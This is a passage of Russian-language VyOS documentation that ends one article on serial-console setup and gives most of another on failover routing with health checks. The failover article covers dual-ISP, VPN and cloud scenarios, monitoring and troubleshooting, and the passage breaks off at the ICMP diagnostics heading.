set system console device ttyS0 speed 115200
set system console device ttyS1 speed 115200

# Для облачных сред
set system console device hvc0 speed 115200
set system console device ttyS0 speed 9600

commit
save
```

3. **Мониторинг состояния консоли**:

```bash
# Создать скрипт проверки консоли
configure

set system task-scheduler task check-console executable path /config/scripts/check-console.sh
set system task-scheduler task check-console interval 5m

commit
save
```

Пример скрипта `/config/scripts/check-console.sh`:

```bash
#!/bin/bash
# Проверка работоспособности последовательной консоли

CONSOLE_DEVICE="/dev/ttyS0"
LOG_FILE="/var/log/console-check.log"

if [ -e "$CONSOLE_DEVICE" ]; then
    echo "$(date): Console device $CONSOLE_DEVICE is present" >> "$LOG_FILE"

    # Проверка возможности записи
    if echo "test" > "$CONSOLE_DEVICE" 2>/dev/null; then
        echo "$(date): Console device $CONSOLE_DEVICE is writable" >> "$LOG_FILE"
    else
        echo "$(date): WARNING: Console device $CONSOLE_DEVICE is not writable" >> "$LOG_FILE"
        # Перезапуск getty
        systemctl restart serial-getty@ttyS0.service
    fi
else
    echo "$(date): ERROR: Console device $CONSOLE_DEVICE not found" >> "$LOG_FILE"
fi
```

### Документирование конфигурации

1. **Добавление комментариев к конфигурации**:

```bash
configure

# Добавить описание консольной конфигурации
comment system console device ttyS0 "Primary serial console for IPMI/KVM access"
comment system console device ttyS0 speed "115200 bps for high-speed output"

commit
save
```

2. **Сохранение резервных копий конфигурации**:

```bash
# Создать backup с описанием
save /config/backup/config-with-console-$(date +%Y%m%d).boot
```

### Облачные платформы

1. **Yandex Cloud**: Используйте 9600 bps для стабильности:

```bash
configure
set system console device ttyS0 speed 9600
commit
save
```

2. **VK Cloud Bare-Metal**: Используйте 115200 bps для IPMI SOL:

```bash
configure
set system console device ttyS0 speed 115200
commit
save
```

3. **Гибридная конфигурация** (виртуальная + физическая):

```bash
configure

# Виртуальная консоль для облака
set system console device hvc0 speed 115200

# Физическая консоль для backup доступа
set system console device ttyS0 speed 9600

commit
save
```

## Расширенные сценарии

### Автоматическая настройка консоли при развертывании

Пример скрипта для автоматической настройки консоли в зависимости от платформы:

```bash
#!/bin/vbash
# /config/scripts/configure-console.sh
# Автоматическая настройка консоли в зависимости от платформы

source /opt/vyatta/etc/functions/script-template

# Определение платформы
if [ -e /sys/hypervisor/type ]; then
    HYPERVISOR=$(cat /sys/hypervisor/type)
else
    HYPERVISOR="none"
fi

# Конфигурация в зависимости от гипервизора
case $HYPERVISOR in
    xen)
        # Yandex Cloud или другая Xen платформа
        configure
        set system console device hvc0 speed 115200
        set system console device ttyS0 speed 9600
        commit
        save
        ;;
    kvm)
        # KVM виртуализация
        configure
        set system console device ttyS0 speed 115200
        commit
        save
        ;;
    *)
        # Bare-metal или неизвестная платформа
        configure
        set system console device ttyS0 speed 115200
        set system console device ttyS1 speed 115200
        commit
        save
        ;;
esac

echo "Console configured for platform: $HYPERVISOR"
```

### Интеграция с системами мониторинга

Пример экспорта метрик консоли для Prometheus:

```bash
#!/bin/bash
# /config/scripts/console-metrics.sh
# Экспорт метрик консоли для мониторинга

METRICS_FILE="/var/tmp/console_metrics.prom"

# Проверка наличия консольных устройств
console_present=0
if [ -e /dev/ttyS0 ]; then
    console_present=1
fi

# Подсчет сообщений в логах консоли (за последний час)
console_messages=$(journalctl -u serial-getty@ttyS0.service --since "1 hour ago" | wc -l)

# Запись метрик
cat > "$METRICS_FILE" << EOF
# HELP vyos_console_present Console device presence (1=present, 0=absent)
# TYPE vyos_console_present gauge
vyos_console_present{device="ttyS0"} $console_present

# HELP vyos_console_messages_total Total console messages in last hour
# TYPE vyos_console_messages_total counter
vyos_console_messages_total{device="ttyS0"} $console_messages
EOF
```

## Ссылки

- [VyOS Documentation: Console Configuration](https://docs.vyos.io/en/latest/configuration/system/console.html)
- [Yandex Cloud: Serial Console](https://cloud.yandex.ru/docs/compute/operations/serial-console/)
- [VK Cloud: Bare-Metal Servers](https://mcs.mail.ru/help/bare-metal-servers/servers)
- [Serial Console Best Practices](https://www.kernel.org/doc/html/latest/admin-guide/serial-console.html)

## Заключение

Последовательная консоль является критически важным инструментом для администрирования VyOS маршрутизаторов, особенно в серверных и облачных средах. Правильная настройка консоли обеспечивает:

- Надежный out-of-band доступ для аварийного восстановления
- Возможность диагностики проблем загрузки системы
- Удобный доступ через облачные платформы (Yandex Cloud, VK Cloud)
- Резервный канал управления при сетевых проблемах

Следуйте рекомендациям по выбору скорости передачи данных, настраивайте резервирование консольных устройств и документируйте конфигурацию для упрощения поддержки и устранения неполадок.


---

# Failover - Автоматическое переключение маршрутов

Source: https://opennix.org/docs/vyos/routing/vyos-failover/


Failover routing в VyOS обеспечивает автоматическое переключение маршрутов на основе мониторинга доступности целевых хостов или сервисов, позволяя создавать отказоустойчивые сетевые решения без использования динамических протоколов маршрутизации.

## Обзор

Failover routing - это механизм автоматической маршрутизации, который добавляет или удаляет статические маршруты в таблицу маршрутизации ядра на основе результатов проверки доступности (health check) целевых адресов.

**Принцип работы**:
- Маршруты настраиваются вручную администратором
- Маршрут устанавливается в таблицу маршрутизации только если health-check target доступен
- При недоступности target маршрут автоматически удаляется
- При восстановлении доступности маршрут возвращается

**Отличия от других механизмов**:

| Механизм | Автоматизация | Скорость обнаружения | Сложность | Overhead |
|----------|---------------|----------------------|-----------|----------|
| Failover routes | Health checks | Средняя (секунды) | Низкая | Минимальный |
| BFD | Протокол мониторинга | Очень высокая (мс) | Средняя | Низкий |
| Динамические протоколы | Полная | Высокая | Высокая | Высокий |
| Static routes + distance | Нет | Нет | Низкая | Нет |

**Преимущества**:
- Простая настройка без динамических протоколов
- Автоматическое переключение при отказах
- Гибкие health check механизмы
- Поддержка различных типов проверок
- Минимальное потребление ресурсов
- Предсказуемое поведение

**Недостатки**:
- Медленнее чем BFD
- Требует настройки health check targets
- Не подходит для сложных топологий
- Ограниченная масштабируемость

## Основные концепции

### Failover Route

Failover маршрут состоит из:
- **Subnet** - сеть назначения
- **Next-hop** - следующий переход (gateway)
- **Target** - адрес для проверки доступности
- **Check type** - тип проверки (ICMP, ARP, TCP)
- **Check parameters** - параметры проверки

### Health Check

Механизм проверки доступности:
- Периодические проверки target адресов
- Различные типы проверок (ping, ARP, TCP port)
- Настраиваемые интервалы и таймауты
- Политики проверки (all-available, any-available)

### Route Installation

Логика установки маршрутов:
1. Health check выполняется с заданным интервалом
2. Если target доступен - маршрут устанавливается
3. Если target недоступен - маршрут удаляется
4. При восстановлении - маршрут возвращается

## Базовая конфигурация

### Простой failover маршрут

Минимальная конфигурация с ICMP health check:

```bash
configure

# Failover маршрут к сети 203.0.113.0/24
set protocols failover route 203.0.113.0/24 next-hop 192.0.2.1
set protocols failover route 203.0.113.0/24 next-hop 192.0.2.1 check target '192.0.2.1'
set protocols failover route 203.0.113.0/24 next-hop 192.0.2.1 check type 'icmp'
set protocols failover route 203.0.113.0/24 next-hop 192.0.2.1 interface 'eth0'

commit
save
```

Этот маршрут:
- Устанавливается если 192.0.2.1 отвечает на ICMP ping
- Удаляется если 192.0.2.1 недоступен
- Использует интерфейс eth0 для выхода

### Синтаксис команд

```bash
set protocols failover route <subnet> next-hop <ip-address>
set protocols failover route <subnet> next-hop <ip-address> check target '<target-ip>'
set protocols failover route <subnet> next-hop <ip-address> check type '<type>'
set protocols failover route <subnet> next-hop <ip-address> interface '<interface>'
set protocols failover route <subnet> next-hop <ip-address> metric <1-65535>
set protocols failover route <subnet> next-hop <ip-address> check timeout <1-300>
```

**Параметры**:
- `<subnet>` - сеть назначения в формате IP/prefix
- `<ip-address>` - next-hop адрес
- `<target-ip>` - адрес для health check
- `<type>` - тип проверки: icmp, arp, tcp
- `<interface>` - исходящий интерфейс
- `<metric>` - метрика маршрута (по умолчанию 1)
- `<timeout>` - таймаут проверки в секундах (по умолчанию 10)

## Типы Health Check

### ICMP (Ping)

ICMP проверка (по умолчанию) - самый распространенный тип.

```bash
set protocols failover route 10.0.0.0/8 next-hop 192.0.2.1 check target '192.0.2.1'
set protocols failover route 10.0.0.0/8 next-hop 192.0.2.1 check type 'icmp'
set protocols failover route 10.0.0.0/8 next-hop 192.0.2.1 check timeout 5
```

**Параметры ICMP**:
- Отправляется 2 ICMP Echo Request пакета
- Таймаут ответа 1 секунда на пакет
- Health check успешен если получен хотя бы один ответ
- Общий timeout настраивается отдельно

**Когда использовать**:
- Проверка доступности gateway
- Проверка связности с удаленным хостом
- Общий мониторинг канала связи

**Ограничения**:
- Может быть заблокирован firewall
- Не проверяет работоспособность сервиса
- Может давать ложные срабатывания при ICMP rate limiting

### ARP

ARP проверка - для локальных сетей (Layer 2).

```bash
set protocols failover route 172.16.0.0/12 next-hop 192.168.1.1 check target '192.168.1.1'
set protocols failover route 172.16.0.0/12 next-hop 192.168.1.1 check type 'arp'
set protocols failover route 172.16.0.0/12 next-hop 192.168.1.1 interface 'eth1'
```

**Параметры ARP**:
- Отправляется 2 ARP Request пакета
- Таймаут ответа 1 секунда на пакет
- Health check успешен если получен хотя бы один ARP Reply
- Работает только в локальной подсети

**Когда использовать**:
- Проверка локального gateway
- Мониторинг устройств в той же L2 сети
- Когда ICMP заблокирован

**Ограничения**:
- Только для локальной подсети
- Не работает через роутеры
- Проверяет только Layer 2 доступность

### TCP Port

TCP проверка - проверка доступности конкретного сервиса.

```bash
set protocols failover route 198.51.100.0/24 next-hop 203.0.113.1 check target '203.0.113.10'
set protocols failover route 198.51.100.0/24 next-hop 203.0.113.1 check type 'tcp'
set protocols failover route 198.51.100.0/24 next-hop 203.0.113.1 check port 443
set protocols failover route 198.51.100.0/24 next-hop 203.0.113.1 interface 'eth0'
```

**Параметры TCP**:
- Проверяет возможность установки TCP соединения
- Требует указания порта через `check port <1-65535>`
- Health check успешен если порт открыт (TCP handshake завершен)
- Соединение сразу закрывается после проверки

**Когда использовать**:
- Проверка работоспособности web-сервера (80, 443)
- Мониторинг конкретных сервисов
- Когда важна не только сетевая, но и сервисная доступность

**Ограничения**:
- Требует открытого TCP порта
- Медленнее чем ICMP/ARP
- Может быть заблокирован firewall

**Пример с HTTPS сервером**:

```bash
# Маршрут к серверам активен только если web-сервер работает
set protocols failover route 10.100.0.0/16 next-hop 192.0.2.10 check target '10.100.1.100'
set protocols failover route 10.100.0.0/16 next-hop 192.0.2.10 check type 'tcp'
set protocols failover route 10.100.0.0/16 next-hop 192.0.2.10 check port 443
```

## Множественные target адреса

Поддержка проверки нескольких целевых адресов с различными политиками.

### Multiple targets с политикой any-available

По умолчанию: маршрут активен если доступен хотя бы один target.

```bash
set protocols failover route 10.20.0.0/16 next-hop 192.0.2.1 check target '8.8.8.8'
set protocols failover route 10.20.0.0/16 next-hop 192.0.2.1 check target '8.8.4.4'
set protocols failover route 10.20.0.0/16 next-hop 192.0.2.1 check policy 'any-available'
```

**Логика any-available**:
- Маршрут устанавливается если доступен любой из target
- Маршрут удаляется только если недоступны все target
- Полезно для проверки общей связности канала

### Multiple targets с политикой all-available

Маршрут активен только если доступны все targets.

```bash
set protocols failover route 10.30.0.0/16 next-hop 192.0.2.5 check target '10.30.1.1'
set protocols failover route 10.30.0.0/16 next-hop 192.0.2.5 check target '10.30.2.1'
set protocols failover route 10.30.0.0/16 next-hop 192.0.2.5 check target '10.30.3.1'
set protocols failover route 10.30.0.0/16 next-hop 192.0.2.5 check policy 'all-available'
```

**Логика all-available**:
- Маршрут устанавливается только если доступны все targets
- Маршрут удаляется если хотя бы один target недоступен
- Полезно для критичных путей требующих полной доступности

**Выбор политики**:
- `any-available` - для общей проверки связности (по умолчанию)
- `all-available` - для гарантии полной доступности инфраструктуры

## Failover сценарии

### Dual ISP Failover

Автоматическое переключение между двумя интернет-каналами.

**Топология**:
```
                 Internet
                    |
          +---------+---------+
          |                   |
      ISP1 (Primary)      ISP2 (Backup)
    203.0.113.1/30       198.51.100.1/30
          |                   |
        eth0                eth1
          |                   |
          +------- VyOS -------+
                    |
             LAN (192.168.1.0/24)
```

**Конфигурация**:

```bash
configure

# Интерфейсы ISP
set interfaces ethernet eth0 address '203.0.113.2/30'
set interfaces ethernet eth0 description 'ISP1-Primary'

set interfaces ethernet eth1 address '198.51.100.2/30'
set interfaces ethernet eth1 description 'ISP2-Backup'

# Primary ISP - failover маршрут (metric 10)
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check target '1.1.1.1'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check policy 'any-available'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check type 'icmp'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check timeout 10
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 interface 'eth0'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 metric 10

# Backup ISP - failover маршрут (metric 20)
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check target '1.1.1.1'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check policy 'any-available'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check type 'icmp'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check timeout 10
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 interface 'eth1'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 metric 20

# NAT для обоих ISP
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '192.168.1.0/24'
set nat source rule 100 translation address 'masquerade'

set nat source rule 200 outbound-interface name 'eth1'
set nat source rule 200 source address '192.168.1.0/24'
set nat source rule 200 translation address 'masquerade'

commit
save
```

**Логика работы**:
1. Primary ISP (metric 10) устанавливается если доступны DNS сервера
2. Backup ISP (metric 20) устанавливается параллельно
3. Ядро выбирает маршрут с меньшей метрикой (Primary)
4. При отказе Primary маршрут удаляется, трафик идет через Backup
5. При восстановлении Primary маршрут возвращается, трафик переключается обратно

### Active-Backup Gateway

Failover между двумя gateway в одной сети.

**Топология**:
```
    Gateway1 (Primary)     Gateway2 (Backup)
      192.168.1.1            192.168.1.2
          |                       |
          +----------+------------+
                     |
                   VyOS
                  eth0: 192.168.1.10
                     |
            LAN: 192.168.10.0/24
```

**Конфигурация**:

```bash
configure

# Primary gateway
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.1
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.1 check target '192.168.1.1'
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.1 check type 'arp'
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.1 interface 'eth0'
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.1 metric 10

# Backup gateway
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.2
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.2 check target '192.168.1.2'
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.2 check type 'arp'
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.2 interface 'eth0'
set protocols failover route 0.0.0.0/0 next-hop 192.168.1.2 metric 20

commit
save
```

**Использование ARP проверки**:
- Быстрая проверка локальных gateway
- Не зависит от ICMP блокировок
- Проверяет только L2 доступность

### Multi-site VPN Failover

Автоматическое переключение между VPN туннелями.

**Конфигурация**:

```bash
configure

# Primary VPN tunnel (через ISP1)
set protocols failover route 10.20.0.0/16 next-hop 10.100.1.1
set protocols failover route 10.20.0.0/16 next-hop 10.100.1.1 check target '10.20.1.1'
set protocols failover route 10.20.0.0/16 next-hop 10.100.1.1 check type 'icmp'
set protocols failover route 10.20.0.0/16 next-hop 10.100.1.1 interface 'tun0'
set protocols failover route 10.20.0.0/16 next-hop 10.100.1.1 metric 10

# Backup VPN tunnel (через ISP2)
set protocols failover route 10.20.0.0/16 next-hop 10.100.2.1
set protocols failover route 10.20.0.0/16 next-hop 10.100.2.1 check target '10.20.1.1'
set protocols failover route 10.20.0.0/16 next-hop 10.100.2.1 check type 'icmp'
set protocols failover route 10.20.0.0/16 next-hop 10.100.2.1 interface 'tun1'
set protocols failover route 10.20.0.0/16 next-hop 10.100.2.1 metric 20

commit
save
```

## Примеры для облачных провайдеров

### Yandex Cloud: Dual ISP с NAT Failover

Конфигурация для Yandex Cloud с двумя публичными IP адресами.

**Архитектура**:
```
Yandex Cloud VPC: 10.128.0.0/24

VyOS Instance:
- eth0 (внешний): 10.128.0.10
  - Public IP1: 51.250.10.20 (Primary)
  - Public IP2: 51.250.10.21 (Backup)
- eth1 (внутренний): 192.168.1.1/24
```

**Полная конфигурация**:

```bash
configure

# Интерфейсы
set interfaces ethernet eth0 address '10.128.0.10/24'
set interfaces ethernet eth0 description 'Yandex-Cloud-External'

set interfaces ethernet eth1 address '192.168.1.1/24'
set interfaces ethernet eth1 description 'Internal-Network'

# Default route через Yandex Cloud gateway
set protocols static route 0.0.0.0/0 next-hop 10.128.0.1

# Failover маршруты для проверки публичной связности
# Проверяем доступность через Primary IP
set protocols failover route 8.8.8.8/32 next-hop 10.128.0.1
set protocols failover route 8.8.8.8/32 next-hop 10.128.0.1 check target '8.8.8.8'
set protocols failover route 8.8.8.8/32 next-hop 10.128.0.1 check type 'icmp'
set protocols failover route 8.8.8.8/32 next-hop 10.128.0.1 check timeout 5
set protocols failover route 8.8.8.8/32 next-hop 10.128.0.1 interface 'eth0'

# Source NAT через Primary IP (приоритет выше)
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '192.168.1.0/24'
set nat source rule 100 translation address '51.250.10.20'
set nat source rule 100 description 'NAT-Primary-IP'

# Source NAT через Backup IP (приоритет ниже, используется при отказе Primary)
set nat source rule 200 outbound-interface name 'eth0'
set nat source rule 200 source address '192.168.1.0/24'
set nat source rule 200 translation address '51.250.10.21'
set nat source rule 200 description 'NAT-Backup-IP'

# Destination NAT для входящих соединений
set nat destination rule 10 destination address '51.250.10.20'
set nat destination rule 10 destination port '443'
set nat destination rule 10 inbound-interface name 'eth0'
set nat destination rule 10 protocol 'tcp'
set nat destination rule 10 translation address '192.168.1.100'
set nat destination rule 10 translation port '443'

commit
save
```

**Проверка**:

```bash
# Статус failover маршрутов
show ip route failover

# Проверка NAT
show nat source statistics

# Мониторинг переключений
monitor log tail
```

### VK Cloud: Multi-AZ Gateway Failover

Failover между gateway в разных зонах доступности VK Cloud.

**Архитектура**:
```
VK Cloud VPC: 10.0.0.0/16

Availability Zone 1:
- Gateway1: 10.0.1.1 (Primary)
- VyOS eth0: 10.0.1.10

Availability Zone 2:
- Gateway2: 10.0.2.1 (Backup)
- VyOS eth1: 10.0.2.10
```

**Конфигурация**:

```bash
configure

# Интерфейсы в разных AZ
set interfaces ethernet eth0 address '10.0.1.10/24'
set interfaces ethernet eth0 description 'VK-Cloud-AZ1'

set interfaces ethernet eth1 address '10.0.2.10/24'
set interfaces ethernet eth1 description 'VK-Cloud-AZ2'

# Failover default route через AZ1 (Primary)
set protocols failover route 0.0.0.0/0 next-hop 10.0.1.1
set protocols failover route 0.0.0.0/0 next-hop 10.0.1.1 check target '10.0.1.1'
set protocols failover route 0.0.0.0/0 next-hop 10.0.1.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 10.0.1.1 check policy 'all-available'
set protocols failover route 0.0.0.0/0 next-hop 10.0.1.1 check type 'icmp'
set protocols failover route 0.0.0.0/0 next-hop 10.0.1.1 interface 'eth0'
set protocols failover route 0.0.0.0/0 next-hop 10.0.1.1 metric 10

# Failover default route через AZ2 (Backup)
set protocols failover route 0.0.0.0/0 next-hop 10.0.2.1
set protocols failover route 0.0.0.0/0 next-hop 10.0.2.1 check target '10.0.2.1'
set protocols failover route 0.0.0.0/0 next-hop 10.0.2.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 10.0.2.1 check policy 'all-available'
set protocols failover route 0.0.0.0/0 next-hop 10.0.2.1 check type 'icmp'
set protocols failover route 0.0.0.0/0 next-hop 10.0.2.1 interface 'eth1'
set protocols failover route 0.0.0.0/0 next-hop 10.0.2.1 metric 20

# Policy routing для симметричного трафика
set policy route PBR rule 10 source address '10.0.1.0/24'
set policy route PBR rule 10 set table '100'

set policy route PBR rule 20 source address '10.0.2.0/24'
set policy route PBR rule 20 set table '200'

# Таблицы маршрутизации для разных AZ
set protocols static table 100 route 0.0.0.0/0 next-hop 10.0.1.1
set protocols static table 200 route 0.0.0.0/0 next-hop 10.0.2.1

commit
save
```

**Проверка Multi-AZ failover**:

```bash
# Проверка маршрутов в main table
show ip route

# Проверка policy routing
show policy route statistics

# Проверка доступности обоих AZ
ping 10.0.1.1 source-address 10.0.1.10
ping 10.0.2.1 source-address 10.0.2.10
```

### Комбинированный сценарий: VPN + ISP Failover

Failover между VPN каналом и прямым ISP маршрутом.

**Конфигурация**:

```bash
configure

# VPN tunnel (Primary) - через WireGuard
set protocols failover route 10.50.0.0/16 next-hop 10.200.0.1
set protocols failover route 10.50.0.0/16 next-hop 10.200.0.1 check target '10.50.1.1'
set protocols failover route 10.50.0.0/16 next-hop 10.200.0.1 check type 'icmp'
set protocols failover route 10.50.0.0/16 next-hop 10.200.0.1 check timeout 5
set protocols failover route 10.50.0.0/16 next-hop 10.200.0.1 interface 'wg0'
set protocols failover route 10.50.0.0/16 next-hop 10.200.0.1 metric 10

# Direct ISP route (Backup) - через интернет
set protocols failover route 10.50.0.0/16 next-hop 203.0.113.50
set protocols failover route 10.50.0.0/16 next-hop 203.0.113.50 check target '10.50.1.1'
set protocols failover route 10.50.0.0/16 next-hop 203.0.113.50 check type 'tcp'
set protocols failover route 10.50.0.0/16 next-hop 203.0.113.50 check port 443
set protocols failover route 10.50.0.0/16 next-hop 203.0.113.50 interface 'eth0'
set protocols failover route 10.50.0.0/16 next-hop 203.0.113.50 metric 50

commit
save
```

**Логика**:
- Primary: трафик через защищенный VPN туннель
- Backup: при отказе VPN трафик через незащищенный интернет
- TCP проверка на backup подтверждает доступность конечного сервиса

## Расширенная конфигурация

### Custom Timeout и Interval

Настройка таймаутов для различных сценариев.

**Быстрое переключение**:

```bash
# Агрессивные проверки для критичных каналов
set protocols failover route 10.100.0.0/16 next-hop 192.0.2.10
set protocols failover route 10.100.0.0/16 next-hop 192.0.2.10 check target '10.100.1.1'
set protocols failover route 10.100.0.0/16 next-hop 192.0.2.10 check type 'icmp'
set protocols failover route 10.100.0.0/16 next-hop 192.0.2.10 check timeout 3
```

Быстрое обнаружение (3 секунды), но больше overhead.

**Медленное переключение**:

```bash
# Консервативные проверки для стабильности
set protocols failover route 10.200.0.0/16 next-hop 192.0.2.20
set protocols failover route 10.200.0.0/16 next-hop 192.0.2.20 check target '10.200.1.1'
set protocols failover route 10.200.0.0/16 next-hop 192.0.2.20 check type 'icmp'
set protocols failover route 10.200.0.0/16 next-hop 192.0.2.20 check timeout 30
```

Медленное обнаружение (30 секунд), избегает ложных срабатываний.

### Метрики для приоритизации

Использование метрик для fine-grained контроля.

```bash
# Tier 1: Самый быстрый канал (fiber)
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 metric 10

# Tier 2: Средний канал (cable)
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 metric 20

# Tier 3: Медленный канал (DSL backup)
set protocols failover route 0.0.0.0/0 next-hop 192.0.2.1
set protocols failover route 0.0.0.0/0 next-hop 192.0.2.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 192.0.2.1 metric 30

# Tier 4: Последний резерв (4G/LTE)
set protocols failover route 0.0.0.0/0 next-hop 10.64.0.1
set protocols failover route 0.0.0.0/0 next-hop 10.64.0.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 10.64.0.1 metric 100
```

Каскадный failover с четкой иерархией приоритетов.

### Интеграция с Firewall

Failover с учетом firewall зон.

```bash
configure

# Failover через разные firewall зоны
set firewall zone WAN1 interface 'eth0'
set firewall zone WAN2 interface 'eth1'

# Failover routes
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 interface 'eth0'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 metric 10

set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 interface 'eth1'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 metric 20

# Firewall правила применяются автоматически при переключении
set firewall zone WAN1 from LAN firewall name LAN-to-WAN
set firewall zone WAN2 from LAN firewall name LAN-to-WAN

commit
save
```

## Мониторинг и верификация

### Просмотр failover маршрутов

**Все failover маршруты**:

```bash
show protocols failover
```

Вывод:
```
Failover routes:
  route 0.0.0.0/0 next-hop 203.0.113.1
    check target: 8.8.8.8
    check type: icmp
    check timeout: 10
    interface: eth0
    metric: 10
    status: active

  route 0.0.0.0/0 next-hop 198.51.100.1
    check target: 8.8.8.8
    check type: icmp
    check timeout: 10
    interface: eth1
    metric: 20
    status: standby
```

**Активные маршруты в таблице**:

```bash
show ip route
```

Видны только failover маршруты, прошедшие health check.

**Детали конкретного маршрута**:

```bash
show ip route 0.0.0.0/0
```

Вывод:
```
Routing entry for 0.0.0.0/0
  Known via "failover", distance 10, metric 10, best
  Last update 00:05:23 ago
  * 203.0.113.1, via eth0
```

### Мониторинг Health Check

**Статус проверок**:

```bash
show protocols failover route 0.0.0.0/0 next-hop 203.0.113.1
```

Вывод:
```
Route: 0.0.0.0/0
Next-hop: 203.0.113.1
Check targets:
  8.8.8.8 - UP (last check: 2s ago, rtt: 15ms)
  1.1.1.1 - UP (last check: 2s ago, rtt: 12ms)
Check policy: any-available
Check type: icmp
Check timeout: 10s
Route status: ACTIVE
Uptime: 2h 15m 42s
```

**Логи failover событий**:

```bash
show log | match failover
```

Вывод:
```
Oct 15 10:23:45 vyos-gw failover[1234]: Route 0.0.0.0/0 via 203.0.113.1: target 8.8.8.8 DOWN
Oct 15 10:23:45 vyos-gw failover[1234]: Route 0.0.0.0/0 via 203.0.113.1: REMOVED from table
Oct 15 10:25:12 vyos-gw failover[1234]: Route 0.0.0.0/0 via 203.0.113.1: target 8.8.8.8 UP
Oct 15 10:25:12 vyos-gw failover[1234]: Route 0.0.0.0/0 via 203.0.113.1: INSTALLED to table
```

### Мониторинг в реальном времени

**Непрерывный мониторинг маршрутов**:

```bash
monitor protocols failover
```

**Мониторинг логов**:

```bash
monitor log | match failover
```

**Ping мониторинг target**:

```bash
monitor ping 8.8.8.8
```

### Статистика переключений

**Количество failover событий**:

```bash
show protocols failover statistics
```

Вывод:
```
Failover Statistics:
  Total routes configured: 2
  Active routes: 1
  Standby routes: 1

  Route 0.0.0.0/0 via 203.0.113.1:
    Uptime: 2h 15m 42s
    Total checks: 1521
    Successful checks: 1521
    Failed checks: 0
    Failover count: 0

  Route 0.0.0.0/0 via 198.51.100.1:
    Uptime: 0s (standby)
    Total checks: 1521
    Successful checks: 1521
    Failed checks: 0
    Failover count: 0
```

## Устранение неполадок

### Failover маршрут не устанавливается

**Проблема**: Маршрут не появляется в таблице маршрутизации.

**Диагностика**:

```bash
# Проверка конфигурации
show configuration commands | match failover

# Проверка доступности target
ping <target-ip> source-address <nexthop-interface-ip>

# Проверка интерфейса
show interfaces <interface>

# Проверка firewall
show firewall
```

**Типичные причины**:
- Target недоступен
- Интерфейс down
- Firewall блокирует health check пакеты
- Неверный target IP
- Routing loop

**Решение**:

```bash
# Временно увеличить timeout
set protocols failover route <subnet> next-hop <ip> check timeout 30

# Изменить тип проверки
set protocols failover route <subnet> next-hop <ip> check type arp

# Проверить другой target
set protocols failover route <subnet> next-hop <ip> check target '<alternative-ip>'

commit
```

### Частые переключения (flapping)

**Проблема**: Маршрут постоянно добавляется и удаляется.

**Диагностика**:

```bash
# Мониторинг логов
show log | match failover | tail -50

# Проверка latency к target
monitor ping <target-ip>

# Проверка packet loss
ping <target-ip> count 100
```

**Типичные причины**:
- Нестабильный канал связи
- Слишком агрессивный timeout
- Target перегружен
- ICMP rate limiting
- Сетевые проблемы

**Решение - увеличение timeout**:

```bash
# Увеличить timeout
set protocols failover route <subnet> next-hop <ip> check timeout 30

# Добавить hysteresis (использовать all-available с несколькими targets)
set protocols failover route <subnet> next-hop <ip> check target '<target1>'
set protocols failover route <subnet> next-hop <ip> check target '<target2>'
set protocols failover route <subnet> next-hop <ip> check target '<target3>'
set protocols failover route <subnet> next-hop <ip> check policy 'all-available'

commit
```

### Медленное переключение

**Проблема**: Failover происходит слишком медленно.

**Диагностика**:

```bash
# Проверка текущего timeout
show protocols failover route <subnet> next-hop <ip>
```

**Решение**:

```bash
# Уменьшить timeout
set protocols failover route <subnet> next-hop <ip> check timeout 5

# Использовать более быстрый тип проверки (ARP вместо ICMP)
set protocols failover route <subnet> next-hop <ip> check type arp

commit
```

**Альтернатива - BFD**:

Для очень быстрого переключения (миллисекунды) используйте BFD вместо failover:

```bash
set protocols bfd peer <nexthop-ip> interval transmit 300
set protocols bfd peer <nexthop-ip> interval receive 300
set protocols bfd peer <nexthop-ip> interval multiplier 3

set protocols static route <subnet> next-hop <ip> bfd

commit
```

### Health check не работает

**Проблема**: Health check всегда показывает DOWN.

**Диагностика ICMP**:

